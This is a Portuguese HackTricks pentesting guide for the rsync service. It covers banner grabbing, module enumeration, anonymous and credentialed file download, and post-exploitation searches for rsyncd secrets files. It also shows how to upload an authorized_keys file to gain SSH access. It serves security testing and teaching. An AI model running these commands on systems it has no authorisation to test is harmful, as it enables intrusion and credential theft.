hacktricks/network-services-pentesting/873-pentesting-rsync.md

7.9 KiB

873 - Pentesting Rsync

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informações Básicas

rsync é uma ferramenta para transferir e sincronizar arquivos de forma eficiente entre um computador e um disco rígido externo e entre computadores em rede, comparando os tempos de modificação e tamanhos dos arquivos.[3] É comumente encontrado em sistemas operacionais do tipo Unix. O algoritmo rsync é um tipo de codificação delta e é utilizado para minimizar o uso da rede. Zlib pode ser usado para compressão de dados adicional,[3] e SSH ou stunnel podem ser usados para segurança.

De wikipedia.

Porta padrão: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeração

Banner & Comunicação Manual

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Enumerar pastas compartilhadas

Um módulo rsync é essencialmente um compartilhamento de diretório. Esses módulos podem opcionalmente ser protegidos por uma senha. Esta opção lista os módulos disponíveis e, opcionalmente, determina se o módulo requer uma senha para acesso:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Perceba que pode ser configurado um nome compartilhado para não ser listado. Assim, pode haver algo oculto. Perceba que podem haver alguns nomes compartilhados listados onde você precisa de algumas (diferentes) credenciais para acessar. Então, nem sempre todos os nomes listados vão ser acessíveis e você perceberá isso se receber uma mensagem de "Acesso Negado" ao tentar acessar alguns deles.

Força Bruta

Rsync Manual

Uma vez que você tem a lista de módulos, você tem algumas opções diferentes dependendo das ações que deseja realizar e se a autenticação é ou não necessária. Se a autenticação não for necessária, você pode listar uma pasta compartilhada:

rsync -av --list-only rsync://192.168.0.123/shared_name

E copie todos os arquivos para sua máquina local através do seguinte comando:

rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Esta transfere recursivamente todos os arquivos do diretório <shared_name> na máquina <IP> para o diretório ./rsync_shared na máquina local. Os arquivos são transferidos no modo "arquivo", o que garante que links simbólicos, dispositivos, atributos, permissões, propriedades, etc. sejam preservados na transferência.

Se você possui credenciais, pode listar/baixar um nome compartilhado usando (a senha será solicitada):

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Você também pode fazer upload de algum conteúdo usando rsync (por exemplo, neste caso, podemos fazer upload de um arquivo authorized_keys para obter acesso ao sistema):

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Encontre o arquivo de configuração rsyncd:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Dentro do arquivo de configuração, às vezes você pode encontrar o parâmetro secrets file = /path/to/file e este arquivo pode conter nomes de usuário e senhas permitidos para autenticar no rsyncd.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥